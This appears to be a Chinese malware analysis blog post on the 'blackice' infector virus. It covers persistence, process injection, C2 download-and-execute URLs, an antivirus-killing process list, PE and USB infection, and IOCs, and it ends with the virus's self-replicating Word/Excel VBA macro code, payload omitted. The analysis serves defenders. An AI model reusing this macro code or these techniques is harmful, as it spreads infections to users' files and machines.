陕西的网站建设公司,如何进入网站管理页面,办公室装修公司哪家好,wordpress olam主题概述
blackice是一个古老的感染型病毒#xff0c;可感染系统中exe、doc和xls文件#xff0c;通过USB设备和网络驱动器来传播#xff0c;会向CC下载pe执行#xff0c;会关闭常用的杀软进程。下面找了一个样本#xff0c;这个样本的代码结构清晰#xff0c;用IDA pro…概述
blackice是一个古老的感染型病毒可感染系统中exe、doc和xls文件通过USB设备和网络驱动器来传播会向CC下载pe执行会关闭常用的杀软进程。下面找了一个样本这个样本的代码结构清晰用IDA pro就能分析明白是学习感染型病毒分析非常好的素材。
样本的基本信息 Verified: Unsigned Link date: 18:01 2007/3/3 MachineType: 32-bit MD5: 50F559EF10B0291332D387AC9149878E 2007年的样本xp时代的产物
这个样本的icon是xp系统的文件夹图标用于伪装诱导用户点击。 分析过程
主线程
样本的结构比较简单首先创建了一个名为blackicemutex的互斥量防止双开
然后判断当前系统的版本不是32位系统的话直接退出
获取当前系统的MAC地址、C盘序列号和主机名
把自己拷贝到系统目录下保存为%windir%\system32\blackice.exe和%windir%system32\kernel.exe注意和kernel32.dll不一样
注入explorer.exe或taskmgr.exe进程当病毒进程退出后重新启动
之后创建了6个线程
线程1 在注册表中创建开机启动项线程2 向CC上传主机信息下载文件执行线程3 关闭常见的杀软进程线程4 感染word和excel的模板文件线程5 检测USB设备的插入感染USB设备的doc、xls和exe文件线程6 感染固定驱动器、网络资源和H盘的doc、xls和exe文件 下面我们分析一下几点重点函数
CopySelfToSysDir_404CB2
把自身副本拷贝到系统目录下保存为C:\windows\system32\blackice.exe和C:\windows\system32\kernel.dll
将C:\windows\system32\blackice.exe的创建时间和最后修改时间设置为2002.1.12并隐藏该文件 InjectProcess_404384
该函数是用于注入系统进程当病毒进程退出后重新启动用于自我保护
会注入资源管理器或进程管理器进程在目标进程空间分配内存写入shellcode和构造好的参数然后调用CreateRemoteThread执行shellcode shellcode逻辑也非常简单
使用WaitForSingleObject等待病毒进程结束若%windir%\system32\blackice.exe不存在将%windir%\system32\kernel.dll拷贝成%windir%\system32\blackice.exe调用WinExec执行 线程1 SetAutorun_404A71
这个进程是一个死循环
首先在注册表创建了开机启动项
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run%windir%\system32\blackice.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell%windir%\system32\blackice.exe
持续检测%windir%\system32\blackice.exe和%windir%\system32\kernel.dll这两个文件是否存在不存在的话将自身拷贝过去
持续检测注入系统进程的远程线程的句柄若该线程已经退出再重新注入 线程2 DownloadAndExecFile_403D93
首先从下面两个链接下载文件保存为C:\windows\system32\blackice.ini从中提取出control节的url字段然后删除文件
http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt构造一个url为
control_url/?macxxxserialxxxhostnamexxxversion2.1downflag1这是一个死循环 删除C:\windows\system32\blackice.ini 等待10分钟 向后台提交当前主机的MAC地址、C盘序列号、主机名下载一个文件保存为C:\windows\system32\blackice.ini 若下载失败2个小时后再试 从blackice.ini文件中读取url节中的string值删除ini文件 从这个url_string中下载文件保存在目录C:\windows\system32\下调用WinExec执行 线程3 KillAv_4051AC
这个线程用来关闭常用的杀软进程
找到模块名中含有下列关键字的进程将其关闭
NAVAPW32
NAVAPSVC
NMAIN
NAVW32
KVFW
KAVSVCUI
KAVPFW
KAV32
KVXP
KVSRVXP
KVMONXP
KVWSC
KAVSVC
KWATCHUI
RAVMOND
RAVMON
RAVTIMER
RISING
RAV.EXE
IPARMOR
TROJANHUNTER
THGUARD
PFW
EGHOST
ANYVIEW
KASPERSKY
360SAFE线程4 InfectWordAndExcel_403105
该线程主要用来感染word 和 excel的模板文件
首先调用com接口获取了office的版本然后修改注册表修改word和excel的安全级别
设置如下注册表项
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM1使用函数ConstructVABcode_402055构造恶意的宏代码这个函数第二个参数为1表示word为2表示excel第3个参数为1表示模板文件为2表示普通文档
将自身的pe采用类base64的加密算法加密后存储在宏代码中 构造的宏代码主要的函数功能如下 接者使用构造好vba代码 感染 %appdata%\Microsoft\Excel\XLSTART\book1.xls
还有word模板文件 %appdata%\Microsoft\Templates\Normal.dot
线程5 InfectUSB_404999
这个线程的主要功能是 检测USB设备的插入感染USB设备
创建了一个名为watchusb的空窗口 窗口函数 检测Msg WM_DEVICECHANGE 且wParam DBT_DEVICEARRIVAL的消息处理USB设备插入消息创建一个线程感染可移动磁盘 将自身拷贝到可移动磁盘根目录保存为X:\blackice.exe并隐藏
在可移动磁盘的根目录创建一个隐藏的AUTORUN.INF文件在autorun节的open变量设为X:\blackice.exe
遍历可移动磁盘下所有文件跳过名为winnt或windows的目录感染其中的.doc .xls .exe文件删除.gho文件 感染pe的过程也比较简单
把自身添加到目标pe的资源节中资源类型为0x1f45名称为0x1e79 在被感染的pe文件中添加一个名为blackice 的节
在新的节中写入shellcode这段代码在病毒母体中的va为0x405664大小为0x5C9
将PE的AddressOfEntryPoint的定位这个节的0x33F处在当前pe中的va为0x4059a3 分析0x4059a3处的代码 首先检索kernel32.dll的基址从kernel32.dll的导出表中找到GetProcAddress的地址然后调用GetProcAddress获取下面这些API的地址
GetTempPathA
GetTempFileNameA
GetModuleHandleA
FindResourceA
LoadResource
SizeofResource
CreateFileA
WriteFile
CloseHandle
WinExec使用上面这些API取出资源节的病毒母体类型为1E79h名称为1F45h保存为%temp%\bk_xxx调用WinExec执行
最后跳转到原来PE的AddressOfEntryPoint去执行 线程6 InfectDrives_403771
该线程主要功能为感染固定驱动器、网络驱动器和H盘
若当天不是星期二、星期四、星期六的话退出
获取系统中所有的盘符找到固定驱动器遍历文件和目录跳过winnt和windows目录感染其中的.xls .doc和.exe遍历深度为3层
遍历系统所有可用的网络资源感染网络驱动器跳过winnt和windows目录中的其中的.xls .doc和.exe遍历深度为4层
感染H盘遍历所有文件和目录跳过winnt和windows目录感染其中的.xls .doc和.exe IOC
PE特征
MD5为50F559EF10B0291332D387AC9149878E
图标为文件夹图标文件
%windir%\system32\blackice.exe
%windir%\system32\kernel.exe
%windir%\system32\blackice.ini
%appdata%\Microsoft\Excel\XLSTART\book1.xls
X:\AUTORUN.INF
X:\blackice.exe注册表
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\run%windir%\system32\blackice.exe
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell%windir%\system32\blackice.exe
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\Level1
HKEY_CURRENT_USER\software\microsoft\office\[version]\word\security\AccessVBOM1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\Level1
HKEY_CURRENT_USER\software\microsoft\office\[version]\excel\security\AccessVBOM1互斥量
blackicemutex进程
会注入explorer.exe和taskmgr.exe
创建名为watchusb的空窗口网络
会访问下面两个url
http://fmtwld.zj.com/blackice/url.txt
http://fmtwld.vicp.net/blackice/url.txt被感染的PE特征
被感染的PE文件会增加一个名为blackice的节资源节中多了一项资源类型为0x1f45 名称为0x1e79
vba代码
最后学习一下blackice的vba代码功能比较简单见注释
!!blackice
Private Const base64ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/
Private Declare Function CreateFile Lib kernel32 Alias CreateFileA (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long
Private Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As Long
Private Declare Function WriteFile Lib kernel32 (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function GetTempPath Lib kernel32 Alias GetTempPathA (ByVal nBufferLength As Long,ByVal lpBuffer As String) As Long
Private Declare Function GetTempFileName Lib kernel32 Alias GetTempFileNameA (ByVal lpPathName As String, ByVal lpPrefixString As String, ByVal uUnique As Long, ByVal lpTempFileName As String) As Long 解密blackice病毒母体保存为临时文件运行
Private Sub runblackice()on error resume nextfilestring512字节的文件内容filestringfilestring512字节的文件内容filestringfilestring512字节的文件内容filestringfilestring512字节的文件内容省略部分Dim strTempPath As String * 260Dim strTempFileName As String * 260Dim ret, hFile, NumberofBytesWritten As LongDim W1, W2, W3, W4 As IntegerDim n As LongDim buffer As Byteret GetTempPath(260, strTempPath)ret GetTempFileName(Left(strTempPath, ret), bk_, 0, strTempFileName)hFile CreateFile(strTempFileName, H40000000, 0, 0, 2, 0, 0)If hFile -1 ThenExit SubEnd IfFor n 1 To Len(filestring) Step 4 对文件进行解密If Len(Mid(filestring, n, 1)) 0 ThenW1 -1ElseW1 InStr(base64, Mid(filestring, n, 1)) - 1End IfIf Len(Mid(filestring, n 1, 1)) 0 ThenW2 -1ElseW2 InStr(base64, Mid(filestring, n 1, 1)) - 1End IfIf Len(Mid(filestring, n 2, 1)) 0 ThenW3 -1ElseW3 InStr(base64, Mid(filestring, n 2, 1)) - 1End IfIf Len(Mid(filestring, n 3, 1)) 0 ThenW4 -1ElseW4 InStr(base64, Mid(filestring, n 3, 1)) - 1End IfIf W2 0 Thenbuffer ((W1 * 4 Int(W2 / 16)) And 255)ret WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfIf W3 0 Thenbuffer ((W2 * 16 Int(W3 / 4)) And 255)ret WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfIf W4 0 Thenbuffer ((W3 * 64 W4) And 255)ret WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)End IfNextCloseHandle (hFile)Shell strTempFileName
End Subif a21 感染.doc文件依次写入runblackice infectdocument infectnormal document_open 4个函数
Private Sub infectdocument()on error resume nextSet tcodemodule ThisDocument.VBProject.vbcomponents(1).codemodule Set dcodemodule ActiveDocument.VBProject.vbcomponents(1).codemodule 获取vba代码If dcodemodule.Lines(1, 1) !!blackice Then vba代码的第一行不为!!blackice说明没有被感染ret dcodemodule.insertlines(1, end sub)ret dcodemodule.insertlines(1, infectnormal)ret dcodemodule.insertlines(1, runblackice)ret dcodemodule.insertlines(1, private sub document_open()) 写入document_openstartline tcodemodule.ProcStartLine(infectnormal, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectnormal, vbext_pk_Proc)ret dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) 写入infectnormal过程startline tcodemodule.ProcStartLine(infectdocument, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectdocument, vbext_pk_Proc)ret dcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines)) 写入infectdocument过程nlines tcodemodule.ProcCountLines(runblackice, vbext_pk_Proc) tcodemodule.ProcStartLine(runblackice, vbext_pk_Proc) - 1ret dcodemodule.insertlines(1, tcodemodule.Lines(1, nlines)) 写入runblackice过程和前面的部分End If
End Subif a21 感染 normal文件 依次写入 runblackice infectdocument infectnormal document_new document_open
Private Sub infectnormal()on error resume nextSet ncodemodule NormalTemplate.VBProject.vbcomponents(1).codemoduleIf ncodemodule.Lines(1, 1) !!blackice ThenSet tcodemodule ThisDocument.VBProject.vbcomponents(1).codemoduleret ncodemodule.insertlines(1, end sub)ret ncodemodule.insertlines(1, infectdocument)ret ncodemodule.insertlines(1, private sub document_open())ret ncodemodule.insertlines(1, end sub)ret ncodemodule.insertlines(1, infectdocument)ret ncodemodule.insertlines(1, private sub document_new())startline tcodemodule.ProcStartLine(infectnormal, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectnormal, vbext_pk_Proc)ret ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline tcodemodule.ProcStartLine(infectdocument, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectdocument, vbext_pk_Proc)ret ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines tcodemodule.ProcCountLines(runblackice, vbext_pk_Proc) tcodemodule.ProcStartLine(runblackice, vbext_pk_Proc) - 1ret ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))NormalTemplate.SaveEnd If
End Subif a21 a31 表示当前打开是normal文件当新的doc文件创建时感染新文件
Private Sub document_new()infectdocument
End Subif a21 a31 表示当前打开是模板文件当doc文件打开时感染文件
Private Sub document_open()infectdocument
End Subif a21 a32 表示当前打开的是doc文件调用runblackice执行自身调用infectnormal感染模板文件
Private Sub document_open()runblackiceinfectnormal
End Subif a22 感染excel文件 依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_open
Private Sub infectworkbook()on error resume nextSet tcodemodule ThisWorkbook.VBProject.vbcomponents(1).codemoduleFor Each wb In WorkbooksSet wbcodemodule wb.VBProject.vbcomponents(1).codemoduleIf wbcodemodule.Lines(1, 1) !!blackice Then 未感染的话写入宏代码ret wbcodemodule.insertlines(1, end sub)ret wbcodemodule.insertlines(1, infecttemplate)ret wbcodemodule.insertlines(1, infectxlstart)ret wbcodemodule.insertlines(1, runblackice)ret wbcodemodule.insertlines(1, private sub workbook_open())startline tcodemodule.ProcStartLine(infecttemplate, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infecttemplate, vbext_pk_Proc)ret wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline tcodemodule.ProcStartLine(infectxlstart, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectxlstart, vbext_pk_Proc)ret wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline tcodemodule.ProcStartLine(infectworkbook, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectworkbook, vbext_pk_Proc)ret wbcodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines tcodemodule.ProcCountLines(runblackice, vbext_pk_Proc) tcodemodule.ProcStartLine(runblackice, vbext_pk_Proc) - 1ret wbcodemodule.insertlines(1, tcodemodule.Lines(1, nlines))End If Next
End Subif a22
Private Sub infectxlstart()on error resume next若不存在文件 Microsoft\Excel\XLSTART\book1.xls依次写入 runblackice infectworkbook infectxlstart infecttemplate workbook_deactivateIf UCase(Dir(Application.StartupPath \book1.xls)) UCase(book1.xls) Then Set tmpbook Workbooks.AddSet ncodemodule tmpbook.VBProject.vbcomponents(1).codemoduleSet tcodemodule ThisWorkbook.VBProject.vbcomponents(1).codemoduleret ncodemodule.insertlines(1, end sub)ret ncodemodule.insertlines(1, infectworkbook)ret ncodemodule.insertlines(1, private sub workbook_deactivate())startline tcodemodule.ProcStartLine(infecttemplate, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infecttemplate, vbext_pk_Proc)ret ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline tcodemodule.ProcStartLine(infectxlstart, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectxlstart, vbext_pk_Proc)ret ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))startline tcodemodule.ProcStartLine(infectworkbook, vbext_pk_Proc)nlines tcodemodule.ProcCountLines(infectworkbook, vbext_pk_Proc)ret ncodemodule.insertlines(1, tcodemodule.Lines(startline, nlines))nlines tcodemodule.ProcCountLines(runblackice, vbext_pk_Proc) tcodemodule.ProcStartLine(runblackice, vbext_pk_Proc) - 1ret ncodemodule.insertlines(1, tcodemodule.Lines(1, nlines))tmpbook.SaveAs (Application.StartupPath \book1.xls)tmpbook.CloseEnd If
End Subif a22 感染book.xlt
Private Sub infecttemplate()on error resume nextIf UCase(Dir(Application.StartupPath \book.xlt)) UCase(book.xlt) ThenSet tmpbook Workbooks.AddSet acodemodule tmpbook.VBProject.vbcomponents(1).codemoduleSet tcodemodule ThisWorkbook.VBProject.vbcomponents(1).codemoduleret acodemodule.insertlines(1, tcodemodule.Lines(1, tcodemodule.CountOfLines))ret tmpbook.SaveAs(Application.StartupPath \book.xlt, xlTemplate)tmpbook.CloseEnd If
End Subif a22 a31 图表、工作表或工作簿被停用时发生此事件
Private Sub workbook_deactivate()infectworkbook
End Subif a22 a32 打开工作簿时 依次调用runblackice infectxlstart infecttemplate
Private Sub workbook_open()runblackiceinfectxlstartinfecttemplate
End Sub
参考资料
Blackice.C病毒分析UpdateResource系列函数用法获取kernel32.dll基址